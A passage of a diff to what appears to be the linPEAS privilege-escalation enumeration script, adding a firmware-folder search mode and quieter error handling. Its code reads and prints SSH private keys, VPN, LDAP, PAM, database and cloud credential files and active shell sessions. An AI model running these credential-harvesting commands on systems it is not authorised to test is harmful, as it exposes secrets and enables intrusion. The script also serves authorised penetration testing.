"s,passwd,${SED_RED},"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.c.*nf.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.c*nf*"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.c.*nf.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.c.*nf.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.ini"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.txt"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.xml"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_OPENVPN" ] || [ "$DEBUG" ]; then print_2title "Analyzing OpenVPN Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_OPENVPN\" | grep -E \"\.ovpn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ovpn"; fi; fi; printf "%s" "$PSTORAGE_OPENVPN" | grep -E "\.ovpn$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ovpn$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "auth-user-pass.+" | sed -${E} "s,auth-user-pass.+,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OPENVPN\" | grep -E \"\.ovpn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ovpn"; fi; fi; printf "%s" "$PSTORAGE_OPENVPN" | grep -E "\.ovpn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ovpn$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "auth-user-pass.+" | sed -${E} "s,auth-user-pass.+,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_LDAP" ] || [ "$DEBUG" ]; then print_2title "Analyzing Ldap Files (limit 70)" echo "The password hash is from the {SSHA} to 'structural'" - if ! [ "`echo \"$PSTORAGE_LDAP\" | grep -E \"ldap$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ldap"; fi; fi; printf "%s" "$PSTORAGE_LDAP" | grep -E "ldap$" | while read f; do ls -ld "$f" | sed -${E} "s,ldap$,${SED_RED},"; find "$f" -name "*.bdb" | while read ff; do ls -ld "$ff" | sed -${E} "s,.bdb,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i -a -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_LDAP\" | grep -E \"ldap$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ldap"; fi; fi; printf "%s" "$PSTORAGE_LDAP" | grep -E "ldap$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ldap$,${SED_RED},"; find "$f" -name "*.bdb" | while read ff; do ls -ld "$ff" | sed -${E} "s,.bdb,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i -a -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${SED_RED},g"; done; echo "";done; echo ""; fi @@ -2677,31 +3357,43 @@ fi #-- SI) ssh files print_2title "Searching ssl/ssh files" if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi -sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" -hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" -hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" -writable_agents=$(find $folder_path -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')') +if ! [ "$SEARCH_IN_FOLDER" ]; then + sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" + writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +else + sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)" + writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +fi if [ "$PSTORAGE_SSH" ] || [ "$DEBUG" ]; then print_2title "Analyzing SSH Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_dsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_dsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_rsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_rsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"known_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "known_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "known_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_dsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_dsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_rsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_rsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"known_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "known_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "known_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo ""; fi grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," -if [ "$TIMEOUT" ]; then - privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) - privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) - privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) - privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$TIMEOUT" ]; then + privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) + privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) + privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) + privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) + else + privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout + privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) + fi else - privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout - privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) + # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware + privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null) fi if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then @@ -2734,7 +3426,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then ssh-add -l echo "" fi -if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then +if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then print_3title "Listing gpg keys cached in gpg-agent" gpg-connect-agent "keyinfo --list" /bye echo "" @@ -2751,39 +3443,39 @@ fi if [ "$hostsdenied" ]; then print_3title "/etc/hosts.denied file found, read the rules:" printf "$hostsdenied\n" - cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," + cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," echo "" fi if [ "$hostsallow" ]; then print_3title "/etc/hosts.allow file found, trying to read the rules:" printf "$hostsallow\n" - cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," + cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," echo "" fi if [ "$sshconfig" ]; then echo "" echo "Searching inside /etc/ssh/ssh_config for interesting info" - grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," + grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," fi echo "" if [ "$PSTORAGE_PAM_AUTH" ] || [ "$DEBUG" ]; then print_2title "Analyzing PAM Auth Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i "auth" | grep -Ev "^#|^@" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i "auth" | grep -Ev "^#|^@" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi #-- SI) Passwords inside pam.d -pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#") +pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#") if [ "$pamdpass" ] || [ "$DEBUG" ]; then print_2title "Passwords inside pam.d" - grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," + grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," echo "" fi if [ "$PSTORAGE_NFS_EXPORTS" ] || [ "$DEBUG" ]; then print_2title "Analyzing NFS Exports Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo ""; fi @@ -2792,7 +3484,7 @@ kadmin_exists="$(command -v kadmin)" klist_exists="$(command -v klist)" if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then print_2title "Searching kerberos conf files and tickets" - print_info "http://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-active-directory" + print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory" if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi @@ -2843,20 +3535,20 @@ fi if [ "$PSTORAGE_KNOCKD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Knockd Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*knockd*"; fi; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*knockd*"; fi; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_KIBANA" ] || [ "$DEBUG" ]; then print_2title "Analyzing Kibana Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kibana.y*ml"; fi; fi; printf "%s" "$PSTORAGE_KIBANA" | grep -E "kibana\.y.*ml$" | while read f; do ls -ld "$f" | sed -${E} "s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#|^[[:space:]]*$" | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kibana.y*ml"; fi; fi; printf "%s" "$PSTORAGE_KIBANA" | grep -E "kibana\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#|^[[:space:]]*$" | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_ELASTICSEARCH" ] || [ "$DEBUG" ]; then print_2title "Analyzing Elasticsearch Files (limit 70)" echo "The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)" - if ! [ "`echo \"$PSTORAGE_ELASTICSEARCH\" | grep -E \"elasticsearch\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "elasticsearch.y*ml"; fi; fi; printf "%s" "$PSTORAGE_ELASTICSEARCH" | grep -E "elasticsearch\.y.*ml$" | while read f; do ls -ld "$f" | sed -${E} "s,elasticsearch\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts" | grep -Ev "\W+\#|^#"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ELASTICSEARCH\" | grep -E \"elasticsearch\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "elasticsearch.y*ml"; fi; fi; printf "%s" "$PSTORAGE_ELASTICSEARCH" | grep -E "elasticsearch\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,elasticsearch\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts" | grep -Ev "\W+\#|^#"; done; echo ""; fi @@ -2895,9 +3587,9 @@ if [ "$adhashes" ] || [ "$DEBUG" ]; then fi #-- SI) Screen sessions -if [ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]; then +if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching screen sessions" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" screensess=$(screen -ls 2>/dev/null) screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) @@ -2914,9 +3606,9 @@ fi tmuxdefsess=$(tmux ls 2>/dev/null) tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) -if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]; then +if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching tmux sessions"$N - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" tmux -V printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," @@ -2928,13 +3620,13 @@ fi if [ "$PSTORAGE_COUCHDB" ] || [ "$DEBUG" ]; then print_2title "Analyzing CouchDB Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_COUCHDB\" | grep -E \"couchdb$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "couchdb"; fi; fi; printf "%s" "$PSTORAGE_COUCHDB" | grep -E "couchdb$" | while read f; do ls -ld "$f" | sed -${E} "s,couchdb$,${SED_RED},"; find "$f" -name "local.ini" | while read ff; do ls -ld "$ff" | sed -${E} "s,local.ini,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_COUCHDB\" | grep -E \"couchdb$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "couchdb"; fi; fi; printf "%s" "$PSTORAGE_COUCHDB" | grep -E "couchdb$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,couchdb$,${SED_RED},"; find "$f" -name "local.ini" | while read ff; do ls -ld "$ff" | sed -${E} "s,local.ini,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_REDIS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Redis Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "redis.conf"; fi; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "redis.conf"; fi; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo ""; fi @@ -2958,89 +3650,94 @@ fi if [ "$PSTORAGE_MOSQUITTO" ] || [ "$DEBUG" ]; then print_2title "Analyzing Mosquitto Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MOSQUITTO\" | grep -E \"mosquitto\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mosquitto.conf"; fi; fi; printf "%s" "$PSTORAGE_MOSQUITTO" | grep -E "mosquitto\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,mosquitto\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MOSQUITTO\" | grep -E \"mosquitto\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mosquitto.conf"; fi; fi; printf "%s" "$PSTORAGE_MOSQUITTO" | grep -E "mosquitto\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mosquitto\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_NEO4J" ] || [ "$DEBUG" ]; then print_2title "Analyzing Neo4j Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_NEO4J\" | grep -E \"neo4j$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "neo4j"; fi; fi; printf "%s" "$PSTORAGE_NEO4J" | grep -E "neo4j$" | while read f; do ls -ld "$f" | sed -${E} "s,neo4j$,${SED_RED},"; find "$f" -name "auth" | while read ff; do ls -ld "$ff" | sed -${E} "s,auth,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_NEO4J\" | grep -E \"neo4j$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "neo4j"; fi; fi; printf "%s" "$PSTORAGE_NEO4J" | grep -E "neo4j$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,neo4j$,${SED_RED},"; find "$f" -name "auth" | while read ff; do ls -ld "$ff" | sed -${E} "s,auth,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi +AWSVAULT="$(command -v aws-vault 2>/dev/null)" +if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then + print_2title "Check aws-vault" + aws-vault list +fi + if [ "$PSTORAGE_CLOUD_CREDENTIALS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cloud Credentials Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials$" | while read f; do ls -ld "$f" | sed -${E} "s,credentials$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" 